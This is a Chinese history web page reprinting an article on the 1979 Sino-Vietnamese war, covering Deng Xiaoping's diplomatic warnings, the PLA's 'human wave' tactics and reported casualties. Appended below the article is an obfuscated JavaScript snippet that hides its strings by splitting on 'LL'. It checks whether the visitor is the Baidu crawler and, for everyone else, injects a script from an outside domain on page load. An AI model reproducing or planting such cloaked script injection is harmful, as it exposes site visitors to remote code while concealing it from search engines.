當前位置:首頁 > 歷史 > 戰(zhàn)史風(fēng)云 > 正文

對越反擊戰(zhàn)密聞 解放軍為何使用“人海戰(zhàn)術(shù)”?

2017-04-28 20:50:14  來源:360常識網(wǎng)   熱度:
導(dǎo)語:在對越自衛(wèi)反擊戰(zhàn)中,中國解放軍仍然依賴隊形密集的步兵,用“人海戰(zhàn)術(shù)”沖擊敵人的陣地,這種戰(zhàn)術(shù)在越南付出了巨大代價。 1979年的世界還

在對越自衛(wèi)反擊戰(zhàn)中,中國解放軍仍然依賴隊形密集的步兵,用“人海戰(zhàn)術(shù)”沖擊敵人的陣地,這種戰(zhàn)術(shù)在越南付出了巨大代價。

1979年的世界還是個冷戰(zhàn)的世界,當時的蘇聯(lián)和美國兩大超級大國對立,形成東西方陣營。中國自命為第三世界弱小國家的代言人,但在國際政治中的影響力還遠不足以與蘇美兩個超級大國匹敵。相反,由于中蘇交惡,蘇聯(lián)又拼命拉攏中南半島小國越南,從戰(zhàn)略上對中國形成了一種合圍的態(tài)勢。

在蘇聯(lián)的支持下,越南開始在中南半島擴張勢力,推翻柬埔寨的紅色高棉政權(quán),試圖建立印度支那聯(lián)邦。這當然為中國所不能容忍,北京政府當時是支持紅色高棉政權(quán)的。越南越來越瘋狂的排華活動更是火上澆油,使中越邊境越來越充滿火藥味。

1979年1月27日,即鄧小平訪問美的前一天,塔斯社報道了大批中國軍隊向中越邊境集結(jié),并對此表示關(guān)切,其他國際輿論的報道也對此作出種種分析和猜測。與此同時,美國《基督教科學(xué)箴言報》發(fā)表了《北京對河內(nèi)發(fā)出戰(zhàn)爭聲調(diào)》的文章,說有跡象表明,中美關(guān)系每發(fā)展一步,亞洲尤其是東南亞局勢就變得更具有危險性。在這個時候,鄧小平并沒有取消他的訪美行程。

抵達美國后,中越問題成了各國記者關(guān)注的熱點問題。面對這些疑問,鄧小平是快人快語,直言不諱。當問到中國軍隊向中越邊境調(diào)動時,鄧小平說:“必要的軍事調(diào)動是有的,這點你們很清楚?!?問軍隊可能采取什么行動,他說:“我們得等著瞧?!弊詈?,鄧小平強調(diào)說:“我們中國人說話是算數(shù)的。”

而在兩個多月以前,鄧小平出訪泰國,馬來西亞和新加坡三國以及途徑仰光的時候,也依然毫不含糊地抨擊大霸和小霸,提醒東南亞提防“東方的古巴”,并警告越南不要在柬埔寨玩火。

結(jié)束訪美行程之后,鄧小平開始對東京的訪問,在會見田中角榮時他說:“對侵略者不懲罰,就有發(fā)生連鎖反應(yīng)的危險?!薄罢诳紤],為了懲罰,冒某種危險也要采取行動?!?/p>

鄧小平說:“越南同蘇聯(lián)簽定的條約具有軍事同盟的性質(zhì),越南對柬埔寨發(fā)卻了大規(guī)模武裝入侵,并正在中國邊境地區(qū)挑釁。越南起的作用會比古巴更壞,我們把越南叫做東方的古巴。對付這樣的人,沒有必要的教訓(xùn),恐怕任何其他方式都不會收到效果。”日本外務(wù)省人士對此十分吃驚,說這是在外交上極少使用的激烈的措詞。

但此時美國人卻不象日本人那樣緊張。一位美國公司的負責(zé)人說:“美國人很喜歡聽到副總理(指鄧小平)關(guān)于蘇聯(lián)和越南侵略的談話,雖然由于種種原因,我們自己不便這樣講。”

面對鄧小平的激烈言論,越南并沒有恐慌。2月7日,法新社自河內(nèi)報道,越南對于鄧小平最近連續(xù)發(fā)出的威脅,保持沉著,表示“決不驚慌”。

2月12日,越南《人民軍隊報》的社論說:“企圖給我們教訓(xùn)的人,應(yīng)該記取美帝國主義在越南的教訓(xùn)?!贝饲?,當鄧小平在美國同卡特談到“教訓(xùn)越南”的話題時,卡特也曾婉轉(zhuǎn)地談到美國在越南的“教訓(xùn)”。

盡管鄧小平言辭激烈,處處言談透露著必教訓(xùn)的決心。但事實上那時候解放軍剛剛從文化大革命的破壞中走出來,解放軍的作戰(zhàn)能力不強。而越軍方面1975年越戰(zhàn)剛剛結(jié)束,作戰(zhàn)經(jīng)驗豐富,手中握著繳獲美軍的裝備、蘇聯(lián)援助的大量軍火、以及過去中國的支援。

在這場戰(zhàn)役中,中國解放軍仍然依賴隊形密集的步兵,用“人海戰(zhàn)術(shù)”沖擊敵人的陣地,這種戰(zhàn)術(shù)在越南付出了巨大代價。中國軍隊曾嘗試發(fā)動聯(lián)合兵種進攻,但均未成功。高級參謀人員年齡老化,不愿放棄傳統(tǒng)的防御戰(zhàn),雖然個人驍勇善戰(zhàn),但對進行一場現(xiàn)代戰(zhàn)爭毫無準備。中國軍隊從未真正建立起進攻的理論,雖然能夠?qū)崿F(xiàn)有限的目標,但在重武器裝備和用兵理論方面同越南人相比大為遜色。

接下來的十年時間里,中越邊境打打停停,停停打打,沖突不斷,沒有哪一方成為戰(zhàn)爭真正的贏家。中國各大軍區(qū)輪流派兵參戰(zhàn),中越邊境成了練兵場。

其慘烈程度也直逼朝鮮戰(zhàn)爭。昆明軍區(qū)在對對越自衛(wèi)反擊戰(zhàn)進行總結(jié)時提到:“1979年2月17日至3月16日,我軍犧牲6900余人,傷14800余人。2月17、18日兩天,傷亡達4000人,后勤部門措手不及,無力全部救治,傷員死亡很多?!痹S多中國人至今都還記得電影“高山下的花環(huán)”中描述的浴血場景,電影所宣傳的革命英雄主義精神的背后是無數(shù)士兵生命的代價。時至今日,昔日媒體稱頌的影響已無人再提起。1984年的老山戰(zhàn)役中,中國軍隊犧牲939人,支前民工64人,山頭被炮火削平幾公尺,地表陣地一片焦土。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}